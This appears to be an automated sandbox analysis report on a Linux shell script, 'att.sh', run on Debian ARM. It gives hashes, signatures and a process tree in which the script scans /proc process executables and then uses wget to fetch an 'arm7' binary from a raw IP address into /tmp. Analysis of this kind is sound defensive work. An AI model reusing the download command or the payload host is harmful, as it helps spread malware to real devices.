7d450ec8c3acd95173a6245e0480cfdf394759597a100c8d739f7fb417fc0c11

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/11/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
att.sh
Size 1KB
Sample261102-plwpzsb15r
SHA256 7d450ec8c3acd95173a6245e0480cfdf394759597a100c8d739f7fb417fc0c11
MD5 3ed831f58d91f254181adcc693aa79eb
SHA1 f1ec15497955d77b8028b322db59a4994fdb7c5e
SHA512 0cb030a20885599ebd9a01f108b7850a05a61c1996732976073e2b24b467a3a744e96e46f9aa3efb5eed2cd91f93a84d58543bb2ecaaf107e3ec59fb263e338e
TLSH
T15521F1E6F874A972B60E182C734D1158D8836C9F495AEC41808B6E30B90E55C723BB23
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/att	wget

/tmp/att.sh
/tmp/att.sh
1⤵
PID:645
- /bin/uname
  uname -m
  2⤵
  PID:647
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:651
- /bin/ls
  ls /proc
  2⤵
  - Reads runtime system information
  PID:650
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:656
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:658
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:664
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:666
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:670
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:672
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:675
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:677
- /bin/readlink
  readlink /proc/135/exe
  2⤵
  PID:678
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:680
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:681
- /bin/readlink
  readlink /proc/149/exe
  2⤵
  PID:683
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:684
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:686
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/169/exe
  2⤵
  PID:690
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:695
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/222/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/259/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/282/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/284/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/300/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/307/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/309/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/312/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/323/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/582/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/590/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/591/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/633/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/636/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/642/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/643/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/648/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/650/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/651/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/652/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/653/exe
  2⤵
  PID:741
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:742
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:743
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:744
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:745
- /bin/readlink
  readlink /proc/99/exe
  2⤵
  PID:746
- /bin/rm
  rm -f att
  2⤵
  PID:747
- /usr/bin/wget
  wget -q -T 10 http://94.154.43.102/atterna/arm7 -O att
  2⤵
  - Writes file to tmp directory
  PID:748

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads